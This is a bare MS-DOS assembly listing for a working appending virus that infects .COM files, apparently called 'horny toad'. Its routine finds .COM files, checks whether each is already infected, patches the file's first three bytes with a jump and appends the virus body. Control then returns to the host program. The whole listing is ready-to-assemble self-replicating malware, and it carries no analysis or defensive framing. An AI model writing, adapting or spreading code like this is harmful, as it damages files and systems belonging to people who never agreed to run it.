code segment
   	assume cs:code,ds:code
   	org 100h

start:
	db 0e9h,0,0                       

toad:
	call bounce

bounce:
	pop  bp 
	sub  bp,OFFSET bounce
               
first_three:
	mov cx,3	
	lea  si,[bp+OFFSET thrbyte] 
	mov  di,100h
        push di
	rep movsb 
                                        
move_dta:    
	lea  dx,[bp+OFFSET hide_dta] 
	mov  ah,1ah 
	int  21h                          
   
get_one:
	mov  ah,4eh                       
	lea  dx,[bp+comsig] 
	mov  cx,7                         
   
next:   
	int  21h
        jnc  openit                       
	jmp  bug_out                         

Openit:
	mov  ax,3d02h 
	lea  dx,[bp+OFFSET hide_dta+1eh] 
	int  21h                          
 	xchg ax,bx

rec_thr:                         
   	mov  ah,3fh                       
    	lea  dx,[bp+thrbyte] 
  	mov  cx,3 
    	int  21h

infect_chk:
	mov  ax,word ptr [bp+hide_dta+1ah] 
	mov  cx,word ptr [bp+thrbyte+1] 
	add  cx,horny_toad-toad+3             
   	cmp  ax,cx                        
        jz   close_up

jmp_size:
        sub  ax,3 
        mov  word ptr [bp+newjump+1],ax

 

to_begin:
        mov ax,4200h                     
        xor cx,cx
        xor dx,dx
        int 21h
    
write_jump:
        mov ah,40h                  
        mov cx,3                     
        lea dx,[bp+newjump]          
        int 21h
    
to_end:
        mov ax,4202h                 
        xor cx,cx                    
        xor dx,dx
        int 21h
    
write_body:
        mov ah,40h                   
        mov cx,horny_toad-toad            
        lea dx,[bp+toad]            
        int 21h

close_up:
        mov  ah,3eh 
        int  21h                          

next_bug: 
        mov  ah,4fh                       
        jmp  next                         

bug_out:
        mov  dx,80h
        mov  ah,1ah 
        int  21h                          
        retn                              
 
    
comsig db '*.com',0
thrbyte db 0cdh,20h,0
newjump db 0e9h,0,0
   
horny_toad label near 
 
hide_dta db 42 dup (?)
   
code    ENDS
        END    start